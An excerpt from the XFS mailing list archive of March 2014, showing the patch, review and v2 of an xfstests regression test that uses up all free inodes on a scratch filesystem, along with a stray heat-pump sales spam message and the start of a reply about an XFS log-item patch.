auto quick prealloc > 005 auto prealloc > +006 auto stress enospc > 032 mkfs auto quick > 051 acl udf auto quick > 218 auto fsr quick > From eguan@redhat.com Wed Mar 19 23:05:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 30CDD7F81 for ; Wed, 19 Mar 2014 23:05:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E5E428F8073 for ; Wed, 19 Mar 2014 21:05:34 -0700 (PDT) X-ASG-Debug-ID: 1395288330-04bdf05dab715480001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FlbLTFYAeiBPqGhi for ; Wed, 19 Mar 2014 21:05:30 -0700 (PDT) X-Barracuda-Envelope-From: eguan@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2K45S8t008921 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 20 Mar 2014 00:05:28 -0400 Received: from localhost (dhcp-13-209.nay.redhat.com [10.66.13.209]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2K45Qhh017315; Thu, 20 Mar 2014 00:05:27 -0400 Date: Thu, 20 Mar 2014 12:05:25 +0800 From: Eryu Guan To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] shared: new test to use up free inodes Message-ID: <20140320040525.GX8312@dhcp-13-216.nay.redhat.com> X-ASG-Orig-Subj: Re: [PATCH] shared: new test to use up free inodes References: <1395221269-11085-1-git-send-email-eguan@redhat.com> <20140320001429.GI7072@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140320001429.GI7072@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395288330 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Mar 20, 2014 at 11:14:29AM +1100, Dave Chinner wrote: > On Wed, Mar 19, 2014 at 05:27:49PM +0800, Eryu Guan wrote: > > Stress test fs by using up all inodes and check fs. > > > > Also a regression test for xfsprogs commit > > d586858 xfs_repair: fix sibling pointer tests in verify_dir2_path() > > > > Signed-off-by: Eryu Guan > > --- > > tests/shared/006 | 96 ++++++++++++++++++++++++++++++++++++++++++++++++++++ > > tests/shared/006.out | 2 ++ > > tests/shared/group | 1 + > > 3 files changed, 99 insertions(+) > > create mode 100755 tests/shared/006 > > create mode 100644 tests/shared/006.out > > > > diff --git a/tests/shared/006 b/tests/shared/006 > > new file mode 100755 > > index 0000000..a3b13b6 > > --- /dev/null > > +++ b/tests/shared/006 > > @@ -0,0 +1,96 @@ > > +#! /bin/bash > > +# FS QA Test No. shared/006 > > +# > > +# Stress test fs by using up all inodes and check fs. > > +# > > +# Also a regression test for xfsprogs commit > > +# d586858 xfs_repair: fix sibling pointer tests in verify_dir2_path() > > +# > > +#----------------------------------------------------------------------- > > +# Copyright (c) 2014 Red Hat Inc. All Rights Reserved. > > +# > > +# This program is free software; you can redistribute it and/or > > +# modify it under the terms of the GNU General Public License as > > +# published by the Free Software Foundation. > > +# > > +# This program is distributed in the hope that it would be useful, > > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > > +# GNU General Public License for more details. > > +# > > +# You should have received a copy of the GNU General Public License > > +# along with this program; if not, write the Free Software Foundation, > > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > > +#----------------------------------------------------------------------- > > +# > > + > > +seq=`basename $0` > > +seqres=$RESULT_DIR/$seq > > +echo "QA output created by $seq" > > + > > +here=`pwd` > > +tmp=/tmp/$$ > > +status=1 # failure is the default! > > +trap "_cleanup; exit \$status" 0 1 2 3 15 > > + > > +_cleanup() > > +{ > > + cd / > > + rm -f $tmp.* > > +} > > + > > +create_file() > > +{ > > + local dir=$1 > > + local nr_file=$2 > > + local prefix=$3 > > + local i=0 > > + > > + while [ $i -lt $nr_file ]; do > > + touch $dir/${prefix}_${i} > > echo -n > $dir/${prefix}_${i} > > will create a zero length file without needing to fork/exec and so > will have much lower overhead and create the files significantly > faster. This is better. > > > + let i=$i+1 > > + done > > +} > > + > > +# get standard environment, filters and checks > > +. ./common/rc > > +. ./common/filter > > + > > +# real QA test starts here > > +_supported_fs ext4 ext3 ext2 xfs > > +_supported_os Linux > > + > > +_require_scratch > > + > > +rm -f $seqres.full > > +echo "Silence is golden" > > + > > +_scratch_mkfs_sized $((1024 * 1024 * 1024)) >>$seqres.full 2>&1 > > +_scratch_mount > > If this is going to be a stress test, you should add a scale factor > into this. I don't have strong feeling to make it a stress test, I'd like to remove the stress group to make the test a simple regression test. > > > + > > +i=0 > > +free_inode=`df -iP $SCRATCH_MNT | tail -1 | awk '{print $2}'` > > $DF_PROG OK. > > > +loop=$((free_inode / 1000 + 1)) > > And probably a LOAD_FACTOR into this to scale parallelism. > > > +mkdir -p $SCRATCH_MNT/testdir > > + > > +echo "Create $((loop * 1000)) files in $SCRATCH_MNT/testdir" >>$seqres.full > > +while [ $i -lt $loop ]; do > > + create_file $SCRATCH_MNT/testdir 1000 $i >>$seqres.full 2>&1 & > > + let i=$i+1 > > +done > > +wait > > On XFS, that will create at least 500 threads creating 1000 inodes each > all in the same directory. This doesn't give you any extra > parallelism at all over just creating $free_inode files in a single > directory with a single thread. Indeed, it will probably be slower > due to the contention on the directory mutex. > > If you want to scale this in terms of parallelism to keep the > creation time down, each loop needs to write into a different > directory. i.e. something like: > > > echo "Create $((loop * 1000)) files in $SCRATCH_MNT/testdir" >>$seqres.full > while [ $i -lt $loop ]; do > mkdir -p $SCRATCH_MNT/testdir/$i > create_file $SCRATCH_MNT/testdir/$i 1000 $i >>$seqres.full 2>&1 & > let i=$i+1 > done > wait > > And even then I'd suggest that you'd be much better off with 10,000 > files to a sub-directory.... Will do. > > > +# log inode status in $seqres.full for debug purpose > > +echo "Inode status after taking all inodes" >>$seqres.full > > +df -i $SCRATCH_MNT >>$seqres.full > > + > > +_check_scratch_fs > > + > > +# Check again after removing all the files > > +rm -rf $SCRATCH_MNT/testdir > > That can be parallelised as well when you have multiple subdirs: > > for d in $SCRATCH_MNT/testdir/*; do > rm -rf $d & > done > wait Will do. Thanks for the detailed review (as always)! Eryu > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com From eguan@redhat.com Wed Mar 19 23:17:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D3ECB7F8B for ; Wed, 19 Mar 2014 23:17:15 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 987B830407F for ; Wed, 19 Mar 2014 21:17:15 -0700 (PDT) X-ASG-Debug-ID: 1395289034-04bdf05dac7159b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id GhJA4CSSWORA6VXS for ; Wed, 19 Mar 2014 21:17:14 -0700 (PDT) X-Barracuda-Envelope-From: eguan@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2K4HDaZ018591 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 20 Mar 2014 00:17:13 -0400 Received: from localhost (dhcp-13-209.nay.redhat.com [10.66.13.209]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2K4HCOu023293; Thu, 20 Mar 2014 00:17:12 -0400 Date: Thu, 20 Mar 2014 12:17:11 +0800 From: Eryu Guan To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH] shared: new test to use up free inodes Message-ID: <20140320041711.GY8312@dhcp-13-216.nay.redhat.com> X-ASG-Orig-Subj: Re: [PATCH] shared: new test to use up free inodes References: <1395221269-11085-1-git-send-email-eguan@redhat.com> <532A34D3.8060805@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <532A34D3.8060805@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395289034 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, Mar 19, 2014 at 07:22:43PM -0500, Eric Sandeen wrote: > On 3/19/14, 4:27 AM, Eryu Guan wrote: > > Stress test fs by using up all inodes and check fs. > > > > Also a regression test for xfsprogs commit > > d586858 xfs_repair: fix sibling pointer tests in verify_dir2_path() > > Thanks Eryu. I had started to write this test but ran into another bug > (where xfs blows past the maximum inode space %) so got distracted. I didn't notice this. Do I need to add extra check to detect this in my test? I want to cover this in one test case if possible. > > I see Dave's already picked apart the patch so I won't comment specifically > on it, but you might be aware of the possibility that xfs won't stop when > we hit the default imaxpct, and may actually fill the entire fs. That's > not necessarily a problem but it may take longer than you expect. Yes, I noticed that testing on xfs didn't give ENOSPC error as testing on ext4 do. The number of extra files created is less than 1000, so I think that's fine. > > I also wonder what's necessary to actually test the sibling pointer problem; > on xfs, it's probably just a sufficiently large directory, not necessarily > a full fs? I've seen list corruption and then xfs force shutdown by running the same test(at the time removing all created files) on earlier RHEL7 test kernels, then the bug was fixed by xfs update. So I'm not sure it's large directory or taking all free inode trigger the bug, I think I'd better still to fulfill the fs. Thanks, Eryu > > -Eric > > > > Signed-off-by: Eryu Guan > > --- > > tests/shared/006 | 96 ++++++++++++++++++++++++++++++++++++++++++++++++++++ > > tests/shared/006.out | 2 ++ > > tests/shared/group | 1 + > > 3 files changed, 99 insertions(+) > > create mode 100755 tests/shared/006 > > create mode 100644 tests/shared/006.out > > > > diff --git a/tests/shared/006 b/tests/shared/006 > > new file mode 100755 > > index 0000000..a3b13b6 > > --- /dev/null > > +++ b/tests/shared/006 > > @@ -0,0 +1,96 @@ > > +#! /bin/bash > > +# FS QA Test No. shared/006 > > +# > > +# Stress test fs by using up all inodes and check fs. > > +# > > +# Also a regression test for xfsprogs commit > > +# d586858 xfs_repair: fix sibling pointer tests in verify_dir2_path() > > +# > > +#----------------------------------------------------------------------- > > +# Copyright (c) 2014 Red Hat Inc. All Rights Reserved. > > +# > > +# This program is free software; you can redistribute it and/or > > +# modify it under the terms of the GNU General Public License as > > +# published by the Free Software Foundation. > > +# > > +# This program is distributed in the hope that it would be useful, > > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > > +# GNU General Public License for more details. > > +# > > +# You should have received a copy of the GNU General Public License > > +# along with this program; if not, write the Free Software Foundation, > > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > > +#----------------------------------------------------------------------- > > +# > > + > > +seq=`basename $0` > > +seqres=$RESULT_DIR/$seq > > +echo "QA output created by $seq" > > + > > +here=`pwd` > > +tmp=/tmp/$$ > > +status=1 # failure is the default! > > +trap "_cleanup; exit \$status" 0 1 2 3 15 > > + > > +_cleanup() > > +{ > > + cd / > > + rm -f $tmp.* > > +} > > + > > +create_file() > > +{ > > + local dir=$1 > > + local nr_file=$2 > > + local prefix=$3 > > + local i=0 > > + > > + while [ $i -lt $nr_file ]; do > > + touch $dir/${prefix}_${i} > > + let i=$i+1 > > + done > > +} > > + > > +# get standard environment, filters and checks > > +. ./common/rc > > +. ./common/filter > > + > > +# real QA test starts here > > +_supported_fs ext4 ext3 ext2 xfs > > +_supported_os Linux > > + > > +_require_scratch > > + > > +rm -f $seqres.full > > +echo "Silence is golden" > > + > > +_scratch_mkfs_sized $((1024 * 1024 * 1024)) >>$seqres.full 2>&1 > > +_scratch_mount > > + > > +i=0 > > +free_inode=`df -iP $SCRATCH_MNT | tail -1 | awk '{print $2}'` > > +loop=$((free_inode / 1000 + 1)) > > +mkdir -p $SCRATCH_MNT/testdir > > + > > +echo "Create $((loop * 1000)) files in $SCRATCH_MNT/testdir" >>$seqres.full > > +while [ $i -lt $loop ]; do > > + create_file $SCRATCH_MNT/testdir 1000 $i >>$seqres.full 2>&1 & > > + let i=$i+1 > > +done > > +wait > > + > > +# log inode status in $seqres.full for debug purpose > > +echo "Inode status after taking all inodes" >>$seqres.full > > +df -i $SCRATCH_MNT >>$seqres.full > > + > > +_check_scratch_fs > > + > > +# Check again after removing all the files > > +rm -rf $SCRATCH_MNT/testdir > > +echo "Inode status after deleting all test files" >>$seqres.full > > +df -i $SCRATCH_MNT >>$seqres.full > > +_check_scratch_fs > > + > > +status=0 > > +exit > > diff --git a/tests/shared/006.out b/tests/shared/006.out > > new file mode 100644 > > index 0000000..675c1b7 > > --- /dev/null > > +++ b/tests/shared/006.out > > @@ -0,0 +1,2 @@ > > +QA output created by 006 > > +Silence is golden > > diff --git a/tests/shared/group b/tests/shared/group > > index 29f17b0..230e560 100644 > > --- a/tests/shared/group > > +++ b/tests/shared/group > > @@ -8,6 +8,7 @@ > > 003 auto quick prealloc > > 004 auto quick prealloc > > 005 auto prealloc > > +006 auto stress enospc > > 032 mkfs auto quick > > 051 acl udf auto quick > > 218 auto fsr quick > > > From eguan@redhat.com Wed Mar 19 23:53:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 159157F8B for ; Wed, 19 Mar 2014 23:53:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id DA09530407F for ; Wed, 19 Mar 2014 21:53:53 -0700 (PDT) X-ASG-Debug-ID: 1395291232-04cb6c56776d6d20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id kPZx4QuCMtJyfqiS for ; Wed, 19 Mar 2014 21:53:52 -0700 (PDT) X-Barracuda-Envelope-From: eguan@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2K4roRe024855 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 20 Mar 2014 00:53:50 -0400 Received: from localhost (dhcp-13-209.nay.redhat.com [10.66.13.209]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2K4rmjW016318; Thu, 20 Mar 2014 00:53:49 -0400 Date: Thu, 20 Mar 2014 12:53:47 +0800 From: Eryu Guan To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] shared: new test to use up free inodes Message-ID: <20140320045347.GZ8312@dhcp-13-216.nay.redhat.com> X-ASG-Orig-Subj: Re: [PATCH] shared: new test to use up free inodes References: <1395221269-11085-1-git-send-email-eguan@redhat.com> <20140320001429.GI7072@dastard> <20140320040525.GX8312@dhcp-13-216.nay.redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140320040525.GX8312@dhcp-13-216.nay.redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395291232 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Mar 20, 2014 at 12:05:25PM +0800, Eryu Guan wrote: > On Thu, Mar 20, 2014 at 11:14:29AM +1100, Dave Chinner wrote: > > On Wed, Mar 19, 2014 at 05:27:49PM +0800, Eryu Guan wrote: [snip] > > > > On XFS, that will create at least 500 threads creating 1000 inodes each > > all in the same directory. This doesn't give you any extra > > parallelism at all over just creating $free_inode files in a single > > directory with a single thread. Indeed, it will probably be slower > > due to the contention on the directory mutex. > > > > If you want to scale this in terms of parallelism to keep the > > creation time down, each loop needs to write into a different > > directory. i.e. something like: > > > > > > echo "Create $((loop * 1000)) files in $SCRATCH_MNT/testdir" >>$seqres.full > > while [ $i -lt $loop ]; do > > mkdir -p $SCRATCH_MNT/testdir/$i > > create_file $SCRATCH_MNT/testdir/$i 1000 $i >>$seqres.full 2>&1 & > > let i=$i+1 > > done > > wait It turns out that creating files in different dirs is unable to reproduce the bug that commit d586858 xfs_repair: fix sibling pointer tests in verify_dir2_path() fixed. I'll keep the files in one testdir. Thanks, Eryu > > > > And even then I'd suggest that you'd be much better off with 10,000 > > files to a sub-directory.... > > Will do. > > > > > > +# log inode status in $seqres.full for debug purpose > > > +echo "Inode status after taking all inodes" >>$seqres.full > > > +df -i $SCRATCH_MNT >>$seqres.full > > > + > > > +_check_scratch_fs > > > + > > > +# Check again after removing all the files > > > +rm -rf $SCRATCH_MNT/testdir > > > > That can be parallelised as well when you have multiple subdirs: > > > > for d in $SCRATCH_MNT/testdir/*; do > > rm -rf $d & > > done > > wait > > Will do. > > Thanks for the detailed review (as always)! > > Eryu > > > > Cheers, > > > > Dave. > > -- > > Dave Chinner > > david@fromorbit.com > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From eguan@redhat.com Thu Mar 20 01:51:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0DCB27F8D for ; Thu, 20 Mar 2014 01:51:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CB7418F8071 for ; Wed, 19 Mar 2014 23:51:16 -0700 (PDT) X-ASG-Debug-ID: 1395298275-04bdf05daa71ac20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id DnOzZit9uVizQ7de for ; Wed, 19 Mar 2014 23:51:15 -0700 (PDT) X-Barracuda-Envelope-From: eguan@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2K6pEsP029269 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 20 Mar 2014 02:51:14 -0400 Received: from localhost (dhcp-13-209.nay.redhat.com [10.66.13.209]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2K6pCAn028452; Thu, 20 Mar 2014 02:51:13 -0400 From: Eryu Guan To: xfs@oss.sgi.com Cc: Eryu Guan Subject: [PATCH v2] shared: new test to use up free inodes Date: Thu, 20 Mar 2014 14:49:21 +0800 X-ASG-Orig-Subj: [PATCH v2] shared: new test to use up free inodes Message-Id: <1395298161-3199-1-git-send-email-eguan@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395298275 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Test fs by using up all inodes and check fs. Also a regression test for xfsprogs commit d586858 xfs_repair: fix sibling pointer tests in verify_dir2_path() Signed-off-by: Eryu Guan --- v2: - use echo -n to create new empty files instead of touch - remove stress group - use $DF_PROG Note: I didn't modify the test to create new files in different dirs as Dave suggested because that way won't reproduce the bug xfsprogs commit d586858 fixed. tests/shared/006 | 97 ++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/006.out | 2 ++ tests/shared/group | 1 + 3 files changed, 100 insertions(+) create mode 100755 tests/shared/006 create mode 100644 tests/shared/006.out diff --git a/tests/shared/006 b/tests/shared/006 new file mode 100755 index 0000000..445c35d --- /dev/null +++ b/tests/shared/006 @@ -0,0 +1,97 @@ +#! /bin/bash +# FS QA Test No. shared/006 +# +# Stress test fs by using up all inodes and check fs. +# +# Also a regression test for xfsprogs commit +# d586858 xfs_repair: fix sibling pointer tests in verify_dir2_path() +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Red Hat Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +create_file() +{ + local dir=$1 + local nr_file=$2 + local prefix=$3 + local i=0 + + while [ $i -lt $nr_file ]; do + echo -n > $dir/${prefix}_${i} + let i=$i+1 + done +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs ext4 ext3 ext2 xfs +_supported_os Linux + +_require_scratch + +rm -f $seqres.full +echo "Silence is golden" + +_scratch_mkfs_sized $((1024 * 1024 * 1024)) >>$seqres.full 2>&1 +_scratch_mount + +i=0 +free_inode=`$DF_PROG -i $SCRATCH_MNT | tail -1 | awk '{print $3}'` +file_per_dir=1000 +loop=$((free_inode / file_per_dir + 1)) +mkdir -p $SCRATCH_MNT/testdir + +echo "Create $((loop * file_per_dir)) files in $SCRATCH_MNT/testdir" >>$seqres.full +while [ $i -lt $loop ]; do + create_file $SCRATCH_MNT/testdir $file_per_dir $i >>$seqres.full 2>&1 & + let i=$i+1 +done +wait + +# log inode status in $seqres.full for debug purpose +echo "Inode status after taking all inodes" >>$seqres.full +$DF_PROG -i $SCRATCH_MNT >>$seqres.full + +_check_scratch_fs + +# Check again after removing all the files +rm -rf $SCRATCH_MNT/testdir +echo "Inode status after deleting all test files" >>$seqres.full +$DF_PROG -i $SCRATCH_MNT >>$seqres.full +_check_scratch_fs + +status=0 +exit diff --git a/tests/shared/006.out b/tests/shared/006.out new file mode 100644 index 0000000..675c1b7 --- /dev/null +++ b/tests/shared/006.out @@ -0,0 +1,2 @@ +QA output created by 006 +Silence is golden diff --git a/tests/shared/group b/tests/shared/group index 29f17b0..6313639 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -8,6 +8,7 @@ 003 auto quick prealloc 004 auto quick prealloc 005 auto prealloc +006 auto enospc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.8.5.3 From climmural@gmail.com Thu Mar 20 02:04:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,LOTS_OF_MONEY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 32F027F98 for ; Thu, 20 Mar 2014 02:04:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0F05E8F8054 for ; Thu, 20 Mar 2014 00:04:06 -0700 (PDT) X-ASG-Debug-ID: 1395299041-04cb6c56766dbe30001-NocioJ Received: from [139.170.9.215] ([139.170.9.215]) by cuda.sgi.com with SMTP id Jt8t2qSfTPn4JCVd for ; Thu, 20 Mar 2014 00:04:01 -0700 (PDT) X-Barracuda-Envelope-From: climmural@gmail.com X-Barracuda-Apparent-Source-IP: 139.170.9.215 Reply-To: climmural@gmail.com From: climmural@gmail.com To: xfs@oss.sgi.com Subject: Vente inventaire thermopompes murales Napoleon Sender: climmural@gmail.com X-ASG-Orig-Subj: Vente inventaire thermopompes murales Napoleon Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Thu, 20 Mar 2014 15:01:14 +0800 X-Barracuda-Connect: UNKNOWN[139.170.9.215] X-Barracuda-Start-Time: 1395299041 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.74 X-Barracuda-Spam-Status: No, SCORE=0.74 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, MISSING_MID, NO_REAL_NAME, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4083 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 NO_REAL_NAME From: does not include a real name 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20140320070407.0520C1296190@cuda.sgi.com> Vente surplus d'inventaire 2013 sur thermopompes murales de marque Napoleon Climatisation-Déhumidification-Chauffage jusqu'à - 15 Celcius (Avec arrêt automatique)-Dc Inverter Compresseur Toshiba-Garantie 6 ans complète Un appareil haut de gamme à prix imbattable. Appareil certifié Energy star. Éligible à une subvention de 650,00 dollars. 12 000 BTU à partir de 2195,00 dollars installation incluse. Profitez rapidement de nos spéciaux, vous pourrez ainsi commencer à économiser sur vos coûts de chauffage dès maintenant. Aussi disponiple climatiseurs muraux . Compresseur Toshiba Garantie 5 ans sur compresseur Fiabilité à tout épreuve. 9000 à 24000 Btu à partir de 1295.00 dollars avec installation. Contactez- nous Service rapide et professionnel. Frigor et Groupe Senick 8355 1929-45 Numero RBQ Reservez maintenant. Telepnone 514 792 6461 From tinguely@sgi.com Thu Mar 20 14:47:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 82F6B7F4E for ; Thu, 20 Mar 2014 14:47:46 -0500 (CDT) Received: from eagdhcp-232-205.americas.sgi.com (eagdhcp-232-205.americas.sgi.com [128.162.232.205]) by relay1.corp.sgi.com (Postfix) with ESMTP id 54E588F804B; Thu, 20 Mar 2014 12:47:46 -0700 (PDT) Message-ID: <532B45E1.3060309@sgi.com> Date: Thu, 20 Mar 2014 14:47:45 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: free the EFI entries from AIL on forced shutdown References: <20140314163723.916178776@sgi.com> <20140317052951.GE7072@dastard> In-Reply-To: <20140317052951.GE7072@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 03/17/14 00:29, Dave Chinner wrote: > On Fri, Mar 14, 2014 at 11:37:01AM -0500, Mark Tinguely wrote: >> The extent free intention (EFI) and extent free done (EFD) >> log items are in separate transactions. It is possible that >> the EFI can be pushed to the 